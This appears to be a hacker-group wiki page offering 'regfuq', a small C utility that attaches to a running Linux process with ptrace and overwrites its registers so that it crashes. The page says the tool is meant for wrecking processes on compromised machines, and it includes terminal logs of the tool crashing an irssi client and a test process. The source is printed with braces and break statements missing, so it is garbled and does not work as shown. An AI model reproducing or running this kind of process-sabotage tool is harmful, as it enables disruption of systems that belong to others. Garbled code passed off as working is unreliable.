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Regfuq is a BPL-licensed utility written by nc. Its intended purpose is process ruination upon computer machines commandeered by and for extralegal means.

PLEASE ADVISE: Regfuq version 2 is out! Grab regfuq2 @ Cheq down below for rf2 usage examplez.

How about some codez, fatty

 * regfuq.c
 * --------
 * little util used to fill the registers of a running process
 * with garbage, so it segfaults
 * copyright (c) 2006 skyy (aka nc) - all rights reserved
 * released under the bantown public license

#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/user.h>

char garbage[] = "0xffffffff";
void usage(char *);

main(int argc, char **argv) {
	char *prog, *str  = NULL;
	int ch, stat_;
	int verbose = 0, esobrev = 0;
	prog = argv[0];
	pid_t pid;
	struct user_regs_struct data_;
	while ((ch = getopt(argc, argv, "p:e:vxh?")) != EOF) {
		switch(ch) {
			case 'p':
				if (!(pid = atoi(optarg))) {
			case 'e':
				str = optarg;
			case 'v':
				verbose = 1;
			case 'x':
				esobrev = 1;
			case 'h':
                        case '?':
			default :
	argc -= optind;
	argv += optind;

	if (!pid) usage(prog);
	if (str == NULL) str = garbage;

	printf("[+] attaching to pid %d\n", pid);
	ptrace(PTRACE_ATTACH, pid, 0, 0);
	waitpid(pid, &stat_, 0);
	printf("[+] pulling registers... ");
	ptrace(PTRACE_GETREGS, pid, 0, &data_);

	if (verbose == 1) {
		printf("[%%] old esp: 0x%.8lx eip: 0x%.8lx\n", data_.esp, data_.eip);
		printf("[%%] old ebp: 0x%.8lx edi: 0x%.8lx\n", data_.ebp, data_.edi);
		printf("[%%] old esi: 0x%.8lx eax: 0x%.8lx\n", data_.esi, data_.eax);
		printf("[%%] old ebx: 0x%.8lx ecx: 0x%.8lx\n", data_.ebx, data_.ecx);
		printf("[%%] old edx: 0x%.8lx\n", data_.edx);
	printf("[+] setting new registers... ");
	data_.esp = (long)str;
	data_.eip = (long)str;
	data_.ebp = (long)str;
	data_.eax = (long)str;
	data_.ebx = (long)str;
	data_.ecx = (long)str;
	data_.edx = (long)str;
	data_.edi = (long)str;
	data_.esi = (long)str;

	ptrace(PTRACE_SETREGS, pid, NULL, &data_);
	if (esobrev == 1) {
                printf("[*] new esp: 0x%.8lx eip: 0x%.8lx\n", data_.esp, data_.eip);
                printf("[*] new ebp: 0x%.8lx edi: 0x%.8lx\n", data_.ebp, data_.edi);
                printf("[*] new esi: 0x%.8lx eax: 0x%.8lx\n", data_.esi, data_.eax);
                printf("[*] new ebx: 0x%.8lx ecx: 0x%.8lx\n", data_.ebx, data_.ecx);
                printf("[*] new edx: 0x%.8lx\n", data_.edx);

	printf("[+] detaching from pid %d\n", pid);
	ptrace(PTRACE_DETACH, pid, NULL, NULL);

usage(char *name) {
	printf("usage: %s [-xv] [-e <0x%%.8lx>] -p <pid>\n", name);

usage examplez

[[email protected]]~/code/ptrace% ps x | grep irssi
 3361 pts/14   S+     0:00 irssi
 3364 pts/13   S+     0:00 grep irssi
[[email protected]]~/code/ptrace% ./regfuq -xv -p 3361 -e 0xb00000b5
[+] attaching to pid 3361
[+] pulling registers... done.
[%] old esp: 0xbf871fbc eip: 0xb7b834d9
[%] old ebp: 0xbf871fc8 edi: 0xb7be5e80
[%] old esi: 0x08109b68 eax: 0xfffffffc
[%] old ebx: 0x08186d30 ecx: 0x00000001
[%] old edx: 0x00000052
[+] setting new registers... done.
[*] new esp: 0xbfbc39c4 eip: 0xbfbc39c4
[*] new ebp: 0xbfbc39c4 edi: 0xbfbc39c4
[*] new esi: 0xbfbc39c4 eax: 0xbfbc39c4
[*] new ebx: 0xbfbc39c4 ecx: 0xbfbc39c4
[*] new edx: 0xbfbc39c4
[+] detaching from pid 3361
[[email protected]]~/code/ptrace%

regfuq2 usage examplez

[email protected] (p5/251)[~/code/regfuq2]$ ps x | grep rftester                                 
 8707  p4  S+     0:00.01 ./rftester
[email protected] (p5/252)[~/code/regfuq2]$ ./regfuq2 -q -v -p 8707
[1] attaching to pid 8707
[+] pulling registers... done!
[x] old eip: 0x400c47e7 esp: 0xbfffe02c
[x] old ebp: 0xbfffe038 edi: 0x080cbaa0
[x] old esi: 0x00000000 eax: 0xfffffffc
[x] old ebx: 0xbfffe050 ecx: 0x00000008
[x] old edx: 0x401ca8c0
[+] filling all registers with garbage... done.
[x] new eip: 0x08049667 esp: 0x08049667
[x] new ebp: 0x08049667 edi: 0x08049667
[x] new esi: 0x08049667 eax: 0x08049667
[x] new ebx: 0x08049667 ecx: 0x08049667
[x] new edx: 0x08049667
[2] detaching from pid 8707
[3] testing pid for crash... done.
[+] pid 8707 was sucessfully crashed.
[email protected] (p5/253)[~/code/regfuq2]$
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